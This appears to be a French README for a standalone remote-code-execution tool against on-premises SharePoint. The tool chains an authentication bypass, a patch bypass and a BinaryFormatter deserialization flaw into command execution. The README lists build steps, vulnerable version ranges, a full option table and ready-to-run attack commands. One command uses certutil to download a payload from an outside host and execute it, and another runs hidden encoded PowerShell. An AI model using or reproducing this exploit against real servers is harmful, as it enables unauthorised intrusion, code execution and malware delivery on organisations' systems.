
Pensez-vous vraiment que SharePoint est sûr ?
Outil RCE pour SharePoint autonome et binaire unique. Génère une chaîne de gadgets TypeConfuseDelegate sous forme d'octets MS-NRBF bruts (sans ysoserial.exe), l'encapsule dans une charge utile de désérialisation DataSet et la délivre via HTTP en utilisant le contournement d'authentification — le tout en une seule opération.
| Étape | CVE | Description |
|---|---|---|
| 1 | CVE-2025-49706 | Contournement d'authentification — Referer: /_layouts/SignOut.aspx contourne l'authentification SharePoint |
| 2 | CVE-2025-53771 | Contournement de correctif — un segment de chemin après ToolPane.aspx échappe au correctif de juillet 2025 |
| 3 | CVE-2025-49704 | Désérialisation — ExcelDataSet.CompressedDataTable déclenche BinaryFormatter sur un DataSet fabriqué |
| 4 | — | Le schéma DataSet force LosFormatter.Deserialize() sur la charge utile interne via ExpandedWrapper + ObjectDataProvider |
| 5 | — | TypeConfuseDelegate — le comparateur SortedSet<string> est Process.Start(string, string), exécutant cmd /c <commande> |
L'ensemble du flux binaire (à la fois le wrapper DataSet externe et le gadget TypeConfuseDelegate interne) est construit comme des enregistrements MS-NRBF bruts — aucune sérialisation .NET runtime n'est utilisée. Cela correspond au format produit par le module Metasploit octet par octet.
Nécessite le SDK .NET Framework 4.8 (Visual Studio 2022 ou outils de build autonomes) :
& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release
Sortie : OurSharePoint\bin\Release\OurSharePoint.exe (fichier unique, aucune dépendance)
OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com
OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com
OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com
OurSharePoint.exe --target=https://sp.corp.com --check
OurSharePoint.exe --cmd="calc.exe" --out=exploit
OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com
Lorsque --out est utilisé, l'outil écrit :
| Fichier | Contenu |
|---|---|
<prefix>.bin | Flux DataSet BinaryFormatter brut |
<prefix>.b64 | Encodé GZip + Base64 (ce qui va dans CompressedDataTable) |
| Édition | Plage vulnérable |
|---|---|
| SharePoint Server Subscription Edition | 16.0.14326.20450 – 16.0.18526.20424 |
| SharePoint Server 2019 | 16.0.10337.12109 – 16.0.10417.20027 |
| SharePoint Enterprise Server 2016 | 16.0.4351.1000 – 16.0.5508.1000 |
| SharePoint Server 2013 | 15.0.4481.1005 – 15.0.5545.1000 |
BinaryWriter. Cela évite les différences entre la sortie de sérialisation .NET runtime et ce que le désérialiseur cible attend.ObjectStateFormatter (0xFF 0x01 0x32 + longueur 7 bits) au lieu d'utiliser LosFormatter.Serialize().| Option | Description | Par défaut |
|---|
--cmd=COMMANDE | Commande à exécuter (exécutée via cmd /c COMMANDE) | — |
--in=FICHIER | Fichier de charge utile LosFormatter pré-construit en base64 | — |
--target=URL | URL de base SharePoint pour la livraison HTTP | — |
--check | Empreinte de version uniquement, sans charge utile | — |
--out=PRÉFIXE | Préfixe du fichier de sortie | payload |
--sp-version=VER | Version du chemin des layouts (15 ou 16) | 15 |
--proxy=URL | Proxy HTTP | — |
--ua=CHAÎNE | User-Agent personnalisé | Firefox 120 |
--referer=URL | Surcharger le Referer du contournement d'auth | auto |
--timeout=SEC | Délai d'attente HTTP | 15 |
--a/b/c=NOM | Noms du DataSet/élément/colonne | aléatoire |